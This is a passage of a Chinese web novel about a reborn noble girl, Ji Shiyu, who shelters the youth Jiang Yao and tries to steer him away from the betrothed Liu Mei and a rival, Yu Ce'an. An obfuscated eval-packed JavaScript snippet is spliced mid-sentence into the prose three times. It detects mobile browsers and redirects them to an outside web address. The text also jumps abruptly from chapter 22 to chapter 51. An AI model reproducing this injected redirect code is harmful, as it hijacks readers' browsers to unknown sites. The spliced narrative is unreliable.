舒氏笑看姐妹俩,复而问姬合英:“可是来人了?”
“于家先到了。”
姬合英的笑一下便收了起来。
“走吧,让人等着不好,我们先去见于夫人。”
舒氏先行起身,姬合英牵着姬时语便跟在她身后。
五月初六,于家过府而来。
走在半路,姬时语听姐姐说,今日受邀前来的还有她的手帕交礼部侍郎之女杜南霜,姬时语闻讯刚要喜悦,姬合英下一句便说道。
“安国公府嫡长女柳小姐也会到。”
姬时语后背的寒毛顷刻间全竖了起来。
安国公府嫡长女柳眉,这个名字姬时语怎么会忘?
前世柳眉是那个将江曜从乡野捡回,送回楚王府的人。
而江曜也不知为何心生了歹念。
尽管柳眉那时已为三皇子妃,是正正经经的皇子妃,且储君之位争得激烈,三皇子隐隐有上位的势头,在这个节骨眼,江曜将柳眉掳走绑了。
大怒之下的三皇子一寻到江曜,便当场下令将他射杀。
皆是孽缘罢了。
这一世姬时语先一步将江曜带回,如今就养在他们忠义侯府。
柳眉只是来忠义侯府参宴,又不会冒犯地随意走动,更去不了思芳院。
没事的。
江曜见不到柳眉,生不出前世的孽缘,也就不会死了。
这辈子都会变的。
姬时语挽住姐姐姬合英的手臂,旋即勾起笑道:“姐姐,于夫人今日可是要你同于大少爷见一面?”
“就你机灵鬼。”
姬合英刮了刮姬时语的小鼻头,她悄悄吐了下舌头。
姐妹俩走至主院之时,舒氏正与于夫人李氏交谈甚欢,两人身边坐着于家嫡长女于之念,和于大少爷于威。
李氏眼尖,乍见英气逼人的姬合英走来,便笑喊:“姬大小姐。”
堂内众人纷纷投目。
姬合英牵着姬时语,与李氏行礼,“合英见过于夫人。”
李氏看姬合英的眼神愈发满意,她和舒氏笑道:“侯夫人,刚巧孩子们都在,也不必再挑时候,不如就这么让他们见上一见好了。”
“我亦正有此意。”
舒氏点了头,喊姬合英:“合英,这是于夫人和她的一双儿女。”
姬合英朝于之念点头:“于大小姐。”
而李氏却递给于威一个眼神,于威心里会神起了身,李氏笑道:“合英,这是长子于威,十七岁已是领了骁骑尉的职。”
舒氏道:“年轻有为啊。”
姬合英面朝于威,淡淡道:“十七岁便是骁骑尉,于将军日后定大有所为。”
“姬大小姐过誉了。”
于威不咸不淡,转了个话,“听闻大小姐自小随忠义侯习武,很有女将之风。”
姬合英道:“不错,我随父在岭西待了六年。”
于威应了一声没再说话,态度不太热络。
姬时语微微瞪他,什么随父习武不习武的,不就是嫌她姐姐不似闺阁女子,只顾着习武不会半点闺阁家事吗?
于威生得浓眉大眼,方字脸五官端正,端坐时脊背苍松似的挺拔,人如不避斧钺。
可看在姬时语眼中真是眼不是眼,鼻子不是鼻子的。
这两人初见未生出半点情愫,姬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15087557|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
时语更是不愿姐姐再和于家纠缠,几个瞪眼之后,于之念发了话,“这位小妹妹是?”
李氏直直看过来,姬时语瞪着的圆眼忙撇开,舒氏笑道:“是我的小女儿。”
于之念嘲讽哼道:“小妹妹是个小孩子,可玩儿心这样重不好。”
姬合英笑回:“小孩子就该玩儿。”
姬时语狠狠瞪于之念,于之念更是面露不虞,她不爽,姬时语看她亦是不爽快。
那又怎样,她还是个孩子,管天管地的,她瞪眼都要管?
于之念发不了火,只得默默和于威道:“忠义侯府的五小姐,好没教养。”
于威蹙眉。
于家和忠义侯府如此见过后,下人便来报,是侯府的客人们陆续进府来了。
姬合英身为主家,不得不去招呼来客,因此她和李氏作了道别。
姬时语无心和于家人陪笑,转身跟着长姐离开。
坐在于家人面前,她很轻易便想起前世于家言而无信,待姬合英冷血凉薄,只差一步休妻。
那怒火丛生无处发泄,姬时语生怕自己上去给于威两个大鼻窦。
还是眼不见为清净。
和姬合英分别,姬时语索性去兰花苑寻杜南霜。
礼部侍郎的嫡女是她从小玩到大的小姐妹,两人虽不同府,可情深如亲姐妹。
“阿锁!”
刚到兰花苑,那厢杜南霜如雏鸟扑窝,大力抱住了姬时语,咯咯笑起来,是亲热的很。
“我还怕伯母不让你出院,见不到你今日我可要发火的。”
“那你可以来韶华院寻我啊。”
“不要,我就要在这儿见你。”
杜南霜长姬时语一岁,生似如清荷,小家碧玉,然性子却咋咋呼呼,她父亲礼部侍郎总说她白生在杜家了,没学好一点礼教。
姬时语四下张望,兰花苑是摆宴之地,可却没瞧见几个人。
她问:“人都去哪儿了?”
“你长姐过来,许多小姐随她去府上转悠,我没去,一直候着你来呢。”
杜南霜叉腰,好不得意:“你快说,我好不好?”
“你可太好了,阿霜。”
姬时语说完又得了杜南霜一个拥抱,她有心挣脱,追问起旁事,“你方才见到安国公府的柳小姐没?”
“柳大小姐啊……我看她往杏花林那面去了,说是有个池子想去看看。”
杏花林那地的池子,可不就是秋水池?
江曜一早便告诉她,他会在秋水池等着她去!
这若是和柳眉撞见——
坏事了!
姬时语大惊失色,此事后怕的想都不敢再想,她提起衣裙摆便朝秋水池狂奔。
……
杏雨梨云,柳眉踩着片絮的花瓣缓步绕过长廊。
她喜静,在得了姬合英首肯之后,便独自走来了忠义侯府的秋水池。
长廊的尽头,春波荡漾的池水便在眼前,柳眉面容展露一抹喜色,她快步走去。
“啊……”
柳眉轻呼。
秋水池边一处亭宇安然伫立。
小亭不大,有个少年身形清瘦,他垂首坐着,似与这池水一般静谧。
没想到还有人,柳眉赶紧止了步。
她一记呼声惊动了亭中的江曜,少年扬笑后转身喊:“小姐?”
四目相对,两人皆在对方脸上望到了错愕。
21. 第 21 章
见不是姬时语,江曜方才还蕴着笑的脸霎时沉下。
少年眉宇寒色皎皎,兀自别开了脸,只露出半个侧脸,一股拒人于千里之外阴冷油然而生。
柳眉却经不住多觑了少年两眼。
他一双狐狸眼上挑,鼻梁秀挺高直,浓睫下垂,蒙在那细长的狐狸眼之上,给少年俊逸的脸庞添了几分阴郁。
好一个漂亮的少年。
只是柳眉从未听说过忠义侯府竟还有这样的公子,府上二少爷姬云暮她是见过的,一副读书郎的清秀,绝无少年这等凛冽如剑的绝色。
“你是忠义侯府的公子吗?”柳眉询问。
江曜神情格外冷漠,他不想应,也无需回她。
顿了片刻,他转过头来,有些无礼地问道:“你又是谁?”
“我是安国公府嫡长女,柳眉。”
柳眉弯腰行了个挑不出错的礼。
今日的柳眉一袭碧绿翠烟衫,姿态曼妙。她年已十六,两只眼眸如秋水连波,楚楚动人。
行动间绿雾似得百褶裙,随着和光明媚一道扬起。
江曜望着她,像闻所未闻。
“你受伤了吗?”
只是轻瞥,柳眉便见石桌之上放置的药瓶,与摆在少年手侧的拐杖,知晓少年应病的很重,她眼眸染上了怜悯。
“你是哪里受了伤,让我看看,我帮你上药吧?”
柳眉是京中贵女之中的群首,容貌顶好,出身高贵,又衣食无缺。她早被册封为三皇子妃,只待成婚。
日子过的太顺风顺水,使得她对周遭人总无端怜爱。
今日一见江曜可怜,忍不住驻足。
“唉,府上下人们竟无人伺候着你,应是今日忠义侯府摆了宴,都被大小姐支去了兰花苑。”
柳眉已然将他拿作忠义侯府的少爷看待,看他如此行动不便,更是想要帮他。
她主动上前,还说着:“忠义侯府的大小姐怎么这样粗心呢?放任一个伤患在秋水池,若是我,再怎么都要派两人看管啊。”
柳眉要拿药瓶,江曜却迅速将药瓶收进怀中。
“你……”
柳眉抬眸不解。
少年冷冽眸光,死盯着她,像在看一具尸体。
柳眉从未见过这般可怖的双眼,只是一个眼神,便尽数是死气沉沉的杀意。
被抗拒的如此明白,柳眉脸色煞白,她不好强求,只能退离了亭宇。
柳眉嘴唇抖动,喃喃道:“是我失礼了。”
江曜别开了脸。
柳眉放心不下,离行前一步三回头,而亭宇之中的江曜甚至看都没看她。
就这样,柳眉面色难看地从长廊离开,正巧和马不停蹄赶过来的姬时语迎面撞见。
姬时语一看柳眉从秋水池那处过来,心中大骇。
不用想柳眉和江曜已是碰了面。
擦肩而过时,柳眉叫住了姬时语。
“五小姐,忠义侯府怎能留一个重病伤者独自在院外?”
长廊之外,池水悠悠,姬时语便听眼前的貌美少女斥责出声。
“府上再怎么忙碌,也总该有人照看他吧?五小姐身为大小姐的胞妹,请转达于她,大小姐常年在外心思简单,归京之后做事该多多考虑。”
柳眉摞下这番话,姬时语听得一肚子火气。
怎么就扯上她长姐姬合英处事不周了。
还有,即便江曜怎么着了,那也都是忠义侯府的家事,柳眉身为安国公府的嫡女,又是未来三皇子妃,与江曜无关无系的,不是莫名其妙吗?
平白指责忠义侯府没照料好江曜,柳眉同情心泛滥了?
简直是不讲道理。
“柳大小姐这是在忠义侯府教我们做事吗?”
柳眉转身便走,姬时语朝着她背影喊道:“以三皇子妃的威风。”
“你什么意思?”
柳眉回了头,姣好面容僵硬。
“我们忠义侯府一向光明磊落,我不知道你今日看见了什么,但我们绝不会恃强凌弱,府上之人我们皆用心以待。”
姬时语直视于她,圆眼清澈无畏,她个头小,可气势让人无法忽视。
“柳大小姐,还请你往后,不要随意教人做事。”
小姑娘说的太坦荡了,尤其是那一双明眸,被她看得像莫名嘲弄柳眉多管闲事,柳眉有些羞愧难当。
柳眉还想辩解,可姬时语懒得纠缠,她回了身便往秋水池的亭宇而去。
秋水池的亭宇,柳眉骤然想起那受伤了的漂亮少年,她很想跟去看看,可又想到姬时语的话,最后还是扭头走了。
姬时语提着百蝶裙衣摆跨下两节石阶,目中江曜正起身欲走,她赶忙呼唤。
“江池生!”
少年那双狐狸眼中,望着小姑娘一身藕粉色交领上衣,下身着的百蝶碎花裙,她跑来,无数花花蝴蝶宛若活了似的都飞来了。
“呼……江池生,我来啦。”
姬时语弯腰呼气,跑得她累坏了,脸蛋红扑扑的,额上全是细汗。
听到心心切切的声音,江曜顿生一股委屈,“你来晚了。”
连他自己都没察觉他无意识的依赖,江曜垂眸一眨不眨盯着姬时语,生怕小姑娘化蝶飞走。
他说:“我等了你好久。”
“我知道,所以我这不是来了吗?”
姬时语擦拭了汗渍,走来将人摁坐回石椅之中,他坐着看她,她便站在眼前,低了低头,顺便从他手里取走了药瓶。
江曜随她。
姬时语想起柳眉那样没道理的质问,多半是因为江曜,她又是无名火四起。
少年不知情,他看了会儿姬时语衣裙之上的蝴蝶,这绣花乃各色丝线所绣,粉的、青的、明黄的,纱裙一动,各色蝴蝶纷飞,栩栩如生。
江曜觉得很配她,很好看。
少年的发漩在姬时语眼前晃动,她抬手摸了上去,手心之下的头颅一顿,江曜闷声道:“小姐,今日府上来了很多人,可是很忙?”
姬时语揉揉他的头,少年伤好大半之后,隔三岔五地沐浴洗头,乌发如瀑,很好摸,她都有些爱不释手。
想了下,她道:“忙的是大姐,不是我。”
“可我一直等着你。”
“我这不是也得作陪,不能就这么走了啊。”
姬时语干笑。
江曜没吭声了。
姬时语却问他:“刚是不是有人过来了?”
江曜的头一下挣脱了她的手,抬起狐狸眼,像有点烦,“是来了人。”
“安国公府的嫡长女柳小姐?她叫柳眉。”
说这话时姬时语目不转视,她仔细观察江曜的神色。
“嗯,是她。”
少年淬了寒冷,眉宇蹙起。
姬时语问:“她和你说了什么?”
“没说什么。”
江曜似乎抗拒这个问话。
姬时语问不出来,她不清楚柳眉和江曜两人之事,可从柳眉的质问来看,她定知晓江曜重伤未愈。
前世她就是心疼怜悯江曜,使
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15095842|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得江曜贪恋这世间少有的温柔,后有了那一段孽缘。
姬时语养了江曜一个月,也有了一些感情。
养只阿猫阿狗尚且有感情,更何况是人呢?
孩子长大了会有自己的心思,有心悦的姑娘,动了心。
姬时语一时期盼江曜能好好的、平安长大,一时又觉得怅然。
若江曜这一世再度心悦柳眉,她不想眼睁睁看他再入死局。
这就是为娘之心吗?
姬时语感觉自己悟了舒氏身为母亲的良苦用心。
没办法了,姬时语只得先为江曜上药,少年乖乖将后背露出给她,他的伤疤结痂,好生养着,愈合只需时日。
姬时语的指尖突而摁在少年的肩头,听他闷哼,她欢快笑了起来,“江池生,我跟你说,你可不要因为旁人对你一点好,就心生喜欢啊。”
闻言,江曜坠入冰天雪地,他嗓音沙哑,“为什么?”
“这种好太微不足道了,是这世间很飘渺的东西呢。”
“我不觉得。”
姬时语立马觉得这个兆头太不妙了。
“只是对你好,你便心生喜欢的话,日后定会后悔的。别人对你好,太浅薄平常,哪日不再对你好,你岂不是很痛苦?”
姬时语想,如濒临垂死的藤蔓渴求别人的一点善意,哪天被人连根拔起了,还怎么活啊?
她说:“你要喜欢一个很好的人,而不是对你好的人。”
江曜哑音:“这不是一样?”
“不一样的,有的人善待万物,有的人因某种目的才对你好。”
姬时语说着,自己噎住了,完蛋她好像就是抱有目的,她哈哈一笑岔开话,“那种心中有大善的人多好啊,人善心美。”
谁料江曜冷冷道:“我才不要她对万物心善,我只要她对我好。”
姬时语禁不住唉了一声。
这孩子又固执己见了,待人之事总莫名的有股执拗劲儿,她有心想教导,只能循循善诱,一步步来。
“你可以喜欢啊,就像你看树上那只小鸟儿,活蹦乱跳的。”
姬时语说道:“我很喜欢它,可我也知若抓了它关进笼子,笼子太小,它便无法蹦蹦哒哒了。”
江曜循着她的手指看过去,有只小黄鹂在杏花之间跳动,一蹦一哒,很是可爱。
“若是她不喜欢你,强扭的瓜不会甜。日后你可不要单相思,要找个两情相悦的喔。”
姬时语娇颜一笑,她歪了歪头,在江曜面前一晃,灵动的很,“尤其是已有婚约的女子,那等不日之后她就要嫁为人妻的,咱们不要喜欢,不好不好。”
言尽于此,姬时语想来江曜应能懂她在极力劝阻,让他不要觊觎柳眉。
飞蛾扑火明知后果的爱情太惨烈,打起初就不该有这个心思。
江曜回了嗯。
姬时语以为他真听进去了,喜不胜收,当即提着衣裙便到了树下。
她指了指小鸟儿,小黄鹂却不怕她,飞到她指尖旁的枝桠,欢快的跳跳。
“你看,它很喜欢我耶!好可爱啊,我就这么看着,很心满意足呢。”
杏花飞落,小姑娘捧着脸仰头看小黄鹂,侧头看他时,眼眸盛满璀璨,眼中唯有他一人。
江曜伸出手,隔空朝着姬时语合起手心。
姬时语说,笼子太小,关不住鸟,应让它飞。
可他觉着,笼子小了,那他便建个大的,让小黄鹂能随心所欲飞的殿宇便好。
他若喜欢那鸟,死了他也要得到。
22. 第 22 章
萍柳终是喊出了声,“小姐,该回去了。”
彼时姬时语还在秋水池边蹲着逗鱼,池中水面清澈,不时有几只胖嘟嘟的红鲤鱼游来游去。
姬时语小跑过去,同萍亭道:“要和娘亲姐姐说说,这池水鱼儿可吃太饱了,谁家鲤鱼长这么胖的?”
萍亭笑应:“是,奴婢会转达给夫人。”
姬时语有意回院,江曜拄着拐杖亦步亦趋跟在后,因他行动不便,姬时语步行缓慢,便是在刻意等他。
刚走两步,一颗小石子不知打哪儿飞来,“哎哟”一下打在了姬时语的脚背。
江曜立马大步上前,搀扶住了姬时语的腰。
“没事吧?”
少年朝着某处面露不善。
“嘿,我说哪儿都找不到姬家小五呢,原来你这个小呆瓜躲在这儿啊!”
一道生人的声音落下。
姬时语不悦回:“什么小呆瓜?”
“说是你,自然是你咯。姬小五,寻你有半天了,你不在主院,跑到这儿做什么?”
于策安立于长廊之侧,眺望两人。
他穿着一身锦缎天蓝色长袍,头戴红绳护额,双目明亮。
少年年龄不大,身形也不高却很结实,他笑时不忘惦着手里的石子,无端的飞扬欣悦。
江曜的狐狸眼微眯,眼中凝了冰:是这人,差点伤了阿锁。
姬时语只觉得来人闲的没事找事,她道:“你谁啊?”
于策安一个趔趄,他有些不满。
“你连我都不认得了?”
“我应该认得你吗?”
“我是镇国将军府的于小二,于策安,想起来了没?”
镇国将军府的于策安是为于家嫡次子,于威的胞弟,年已十二岁。
于策安儿时便无比钦佩忠义侯,也就是姬时语之父大将军姬雄武,是以两人很早便认识。
只是姬时语厌恶死了于家,才不会费心再去想于家还有哪一位小少爷。
姬时语那张莹白小脸盛满无辜,看得于策安是气的牙痒痒,他作势抓起手里的石子,要丢过来。
不等他动作,江曜已是倾身挡在了姬时语身前。
于策安方才留意到,姬小五身边竟还有旁人。
江曜一双狐狸眼黑沉如阴冷的毒蛇,他看于策安不对付,于策安更无好脸色。
“喂,姬小五。”
于策安扬声就喊:“我可不记得你家何时多了个少爷,这又是谁?”
姬时语未开口,江曜又严严实实盖住她身影,一片衣角都没露。
“哑巴了?”
少年不语,与于策安如同挑衅,他抓起石子便朝江曜的面门丢去。
江曜身子不避,抬手在半空将石子接下。
可惯力还是令他后退,闷哼了一声。
姬时语在江曜身后听得清楚,她生怕于策安对江曜下手,扶住江曜半边身子刚想开口斥责。
却在这时,江曜冷冷地扬手一甩。
那颗石子砸中于策安脑门,他躲闪不及,被打了个正着。
“啊!好痛!”
于策安抱头直呼,额上鼓起包,红红肿肿的。
石子怎么来便怎么去。
“你打我!”于策安怒骂道。
江曜面无表情,目中尽是死水,“胆敢打小姐,你该的。”
“你到底谁啊?我可是镇国将军府的少爷,你敢对我动手。”
于策安原地跳脚,“姬小五,这是你的人?你也不好好管教管教。”
“于策安,谁管你是不是镇国将军府的人,我不许你在忠义侯府放肆。”
姬时语这时冒了出来,她扶住江曜,小脸板起。
“姬小五……”
于策安终于一改嚣张臭脾气,可怜委屈抱头睨她,“你怎么变了这么多?上回我们见面你可不是这么说的。”
“我说了我都不记得了。”
“你骗人!上回我来忠义侯府,你还领我去见你父亲,让侯爷亲自带我习武。你说我有将领之才,日后必同你父亲一般,领军做威武大将军。”
十二岁的于策安眼睛红了,他放声控诉,宛如姬时语是那等骗了他感情的负心汉,活生生的大骗子啊。
“我说过吗?”
“你说了!”
于策安双目红得像兔子,愤怒的更像兔子要咬人。
姬时语小脸快皱成了包子,完了她说过这话吗?
她是真不记得了,毕竟算起来那可是上辈子的事了啊。
“罢了,你是忘了也不是有意负了我,姬小五,我不计较了。”
而后于策安率先熄了火气,他嘴上说着原谅,可又翘得老高,俨然一副不情不愿。
姬时语揉揉额角,无奈问他:“今日来找我为了什么?”
“还说呢,我差点忘了这茬。”
一发问,于策安换上笑脸,献宝似的一个劲道:“我找你就是要给你看我新学的招式。”
“什么招式?”
“姬小五,你看好了。”
于策安不知打哪儿摸出来一把银光闪闪的长枪,他手腕一翻,那柄长枪宛如银色游龙翻转一圈。
刹那,他腾空而起。
长枪似千钧之势,势如破竹,落地时于策安朝前一刺,再一个空旋,收枪扬笑。
纵然此刻于策安并未身骑骏马驰骋,犹感少年的张扬炽热、放荡不羁。
于策安朗眉星目熠熠生辉,“这招叫做,破空穿云,龙王破!”
姬时语拍拍手,唇瓣微启笑道:“厉害,真厉害。”
她说的敷衍,可夸奖之意明显,一旁江曜骨指嘎吱作响,面色黑得能滴墨。
眼前这个叫于策安的少年,出身正统,乃是镇国将军府的小少爷,他还喜欢纠缠姬时语。
于策安,少年将军。
江曜如临大敌。
他可没忘,姬时语的意中人是意气风发的少年将军。
很快于策安半靠长枪,环臂瞪江曜,又问:“你先告诉我,他是谁?”
江曜的存在于策安介意万分,他还不知道自己没来忠义侯府的这些时日,姬时语身边竟多了个男人。
还是他压根不认识的。
怎么可以?
姬小五还是什么是他不知的,他都要搞清楚!
“这是我的人。”
姬时语看于策安目光幽幽,她怕他心怀不轨,立马护着江曜,“于策安,你不需要知道他是谁,我不许你动他。”
“切,不动就不动。”
于策安气得发揾,偏他还只能听姬时语的话,怨念堪比鬼了,不住嘀咕:“娘们唧唧还要小姑娘护着,他算什么男人?”
“你说什么呢。”姬时语没听清。
江曜却听见了。
他个头高姬时语半个头,即使姬时语挡在前,但他那双冰凉刺骨的狐狸眼还是露在了外头。
于策安撇来头时,江曜就在姬时语的身后,阴测测地全神贯注看他。
那只毒蛇盘踞着,瞳孔已然竖起,只待时机成熟,便张开毒牙咬上于策安的脖颈。
于策安瞪回去:“说的就是你,谁怕谁,有胆子来打一架?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15100154|162504||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>“好啊,来打吧。”
江曜应了。
不光要打,他还要杀了于策安,让姬时语再看不见他。
什么少年将军,死了就好了。
两个少年之间顿时剑拔弩张。
于策安摸上手边的长枪,蓄势待发,而江曜身形空荡荡,手中唯有一只木头拐杖。
“都给我住手!”
姬时语头一个比一个大,她呵斥两人,圆眼写满了不耐烦,“你们一个重病在身,一个是来忠义侯府做客的客人,在我忠义侯府的后院干架,闹够了没有?”
于策安委屈:“姬小五,可是他……”
“你闭嘴。”
姬时语小脸一凛,于策安噤了声。
别看姬时语笑起来绵软又甜,可她凶人时,于策安只感觉比忠义侯还要可怕。
于策安就听得一通劈里啪啦,“你来找我就算了,擅自入院,可想过于夫人和你哥哥姐姐会担忧?”
“我派人去传话了……”
“我不管,我可没得于夫人的信。”
于策安如茄子打霜,蔫了吧唧的,“行,那我回去了。”
姬时语才舒了一口气,于策安又是一个觑眼,目光直指江曜,“不过,我和他之间的事儿不能就这么算了。”
“于策安,你!”姬时语又紧绷了。
江曜迎面而上,他单薄的脊背挺直,一双狐狸眼凶狠且摄人,“我正有此意。”
“很好,你敢应我一战,我看你也是个男人。”
于策安不知者无畏,根本不清楚自己招惹了谁,他大笑放了话:“姬小五说了,你还是伤患,那我今日便放过你。我会等着你伤好,别当孬种!”
“我叫江池生。”江曜抛下名讳。
两人便就这么自顾自约定好了,全然忽视了姬时语。
“喂,你们……”
姬时语还想多说,被于策安抬手止住了,“姬小五,这是我和他男人之间的对决,这一战事关气节荣辱,我俩非打不可。”
姬时语:“于策安,男人之间对决……你发什么癫?”
“你不要管。”
于策安严肃认真,他看江曜,“你叫江池生是吧,江池生你记住,你的对手是镇国将军府的于策安,就这么说定了。”
“好。”
江曜就等于策安这句话了,于策安愿意送死,别怪他手下不留情。
于策安背影消失,姬时语再忍不住抓狂,她摇着江曜手臂便是跺脚。
“你疯了啊?做什么要应于策安,你们打一架能讨到好处?”
江曜目光沉着,他看她。
姬时语急死了:“你伤好了又能怎么样?于策安自小习武,两岁便摸了长枪,十岁又跟我父亲学了两年,你拿什么去跟他打?”
小姑娘毫不掩饰地焦灼,眉眼皱了皱,看得江曜狐狸眼挑起,便疏朗笑了起来。
姬时语气急:“江池生,你笑什么!”
江曜的笑容有几分病态的愉悦,他喜悦她这样满心都是关心自己,喜欢这种感觉。
他说:“于策安说得对,我是个男人,这场架非打不可。”
“不打还不是男人了?”
江曜心说大差不差吧,他道:“有句话他没说错,此事事关男人气节荣辱。”
小姑娘眼下是陪着他,可若想一直在她身边,江曜需得证明自己有这个能力。
他可是她的人啊,怎么能输?
还有那劳什子的少年将军,于策安实在太碍眼了,他不喜欢于策安围着姬时语打转。
碍眼之物,杀了最干净。
50-60
第51章
刚好姬时语有话要问江曜,便就这个时候带着他往回走,回韶华院。
“不是杨林教三弟习武,怎么换你来了?”
姬时语稍显疑惑,姬时成和江曜不对付,怎么他还来练武场亲自教导他。
江曜道:“侯爷让的。”
姬时语狐疑的目光投来。
她在说:你能这么听话?
江曜别开眼。
他心中盘算多的很,教姬时成全为了在侯爷心中博好感,往后他若要娶阿锁,只想忠义侯莫要阻拦。
“你知不知道,近来我娘为你的事是焦头烂额?”姬时语弯腰侧笑。
江曜问:“什么事?”
“喂喂,你心中该门儿清呐,你可是京城大为风光的江小将军啊?多少人家的姑娘想要嫁给你呢!”
姬时语双手背后,一蹦一跳,说着也没走心,“一晃眼,云让哥哥就到了要娶妻的年龄啊,我娘让我问你,你是怎么想的?”
江曜止了步,前头的姑娘莞尔回头。
桂香萦绕鼻息之间,姬时语乌发飘舞,水眸笑起来弯弯,像月牙皎洁。
“各家送了好些好姑娘,云让哥哥有意相看吗?”
那双猫瞳太水亮了,无一丝别色,只有纯净。
江曜毫不犹豫阴沉回:“不要。”
“许多姐姐中意你呀,云让哥哥。”
姬时语又笑着走近几分,自始至终,两人都隔了一个步子。
江曜朝前走一步,姬时语便后退一步。
不远不近,偏就不亲近他。
少年烦闷地冷哼。
小姑娘还问:“没中意的?”
话音刚落,姬时语对上了江曜那双阴冷的狐狸眼。
他眼底深不可测,宛如蛰伏的巨蛇,不动声色地盘察着盯上的猎物。
猎物?
是她?
怎么可能?
他们可是相亲相爱的兄妹,江曜心中那么在乎她。
姬时语不乐意了。
她一凑近,用肩膀顶/撞了一下江曜的,“我可不喜欢你用这样的眼神看我,你不要吓唬我。”
江曜垂眸。
姬时语就当他是应了这事。
不愿意娶妻,也无中意之人,先不管做何想,这事解决了就好。
心头畅快了些,姬时语便问江曜:“我在练武场看你身边还有个……侍卫?是从岭西带回的?”
“我的暗卫,林一。”
江曜唤了林一现身,一道黑影瞬时窜出,姬时语只看见眼前一晃,她再定睛一瞧。
一位独眼青年已在两人跟前躬身。
“林一见过公子、五小姐。”
林一瞧着二十来岁,右眼以眼罩盖住,另一只眼睛有如温柔的刀口,不动时柔和,动时锋利。
“你的眼睛……”
林一还以为忠义侯府的娇小姐畏惧自己的独眼,他忙用手捂住,“属下生时便是盲眼,吓着小姐了。”
“没,我没这个意思。”
姬时语很惊讶,抓了江曜,“哥哥,他怎么跟个大侠似的,是个蒙眼男人,嗖得冒出,又嗖得没了?”
林一错愕。
江曜忍俊不禁。
实在没忍住,江曜摸了摸姬时语柔软的发顶,手指又在她乌发间穿过,捏住指腹顺着抚摸。
阿锁总是这样心善,看人心思纯净。
她太干净了,他却老生出不好的、卑劣的念头,想玷污了她。
江曜压住所想,笑说:“林一的武功很好。”
“公子谬赞了。”
林一便和姬时语解释说着,“属下是岭西弃婴,还有个弟弟,我们兄弟两人在暴雪之中差点饿死,幸得公子相救。”
姬时语听着唇边扬笑。
江曜也会救人呐。
是她养的少年,心都顶顶好的!
姬时语一时高兴,便要拉着江曜去韶华院,“对啦,我爹给我调了两个暗卫,我还没领你看过呢。”
江曜早知这事,去挑人的时候,他便是和忠义侯一起去的。
他还说,阿锁是小姑娘,选个女暗卫更好。
姬时语喊了宁心、宁乐两姐妹出来,姐妹俩常年守着韶华院,若非姬时语吩咐,她们几乎是时刻跟随。
宁心是姐姐,冷若冰霜,宁乐是妹妹,圆脸爱笑。
姐妹俩现了身,第一时朝林一看去,因是外来人,两人不免警觉了些。
待姬时语说罢,两人和林一点了点头。
姐妹俩又上了屋顶,消失了。
江曜还挺满意姐妹俩,有她们护着姬时语,他总是安心许多。
在这时萍柳找来了,见姬时语和江曜都在,她有些着急忙慌,“小姐,宫里来人了,未央宫的贵妃娘娘宣召您和大小姐。”
“未央宫的柳贵妃?”
姬时语和江曜对视一眼,江曜摇了头。
她想不通,这个时候柳贵妃突然要见她和姐姐做什么?
忠义侯府与皇室来往甚少,五年前大皇子江承运有意求娶姬合英,为的是忠义侯府的兵权。
然那时弘文帝亦是表了态,忠义侯府始终效忠于陛下,而非哪个皇子。
他们侯府从不参与皇室夺储。
这也是陛下能长久重用忠义侯姬雄武的缘由。
柳贵妃只有一子,那便是二皇子江承德。
江承德体弱多病,早已退出争位漩涡,多年在外隔岸观火,看大皇子江承运和三皇子江承北互抢互斗。
眼下朝中不立储,各府皆在观望,无人愿意踏入这泥泞之中。
柳贵妃却找来了。
不肖一刻,姬时语便坐上了入宫的马车。
她撩开车帘,眼见前方便是恢弘皇宫,姬合英拽了她手,将人拉过来。
“快到皇宫了,不要乱动。”
“知道啦。”
马车将停靠住,姐妹俩相继下了马车,未央宫的宫女早已在宫门前等着了,见到两人之后便给她们领路。
姬时语抬首,眸光轻落在朱红的深宫墙角,深深陷入沉思。
她绝不会让忠义侯府踏入深渊。
不管他们想要的究竟是谁。
两刻钟之后,未央宫殿门近在眼前,柳贵妃跟前的大宫女叶梅已等候多时,轻步上前便道:“两位小姐这边请。”
姐妹两人步入正殿。
未央宫金碧辉煌,几根柱梁金光璀璨,晃得不敢多睁眼,姬时语脚踩玉石地面,眼见灵透的石面之下好似还飞着游鱼。
这便是未央宫啊。
姬时语规规矩矩地行礼:“臣女姬时语参见贵妃娘娘。”
“起来吧,叶梅,给两人小姐看茶。”
姬时语随姬合英坐下。
余光中,姬时语望见了上首的妖艳美人,一双丹凤眼正紧紧挑着,看她们姐妹两人。
笑里又夹杂着妖媚之色。
柳贵妃出身柳家,其父乃是当朝一品太傅柳大人,位高权重,因而柳贵妃一入宫位分便直逼皇后。
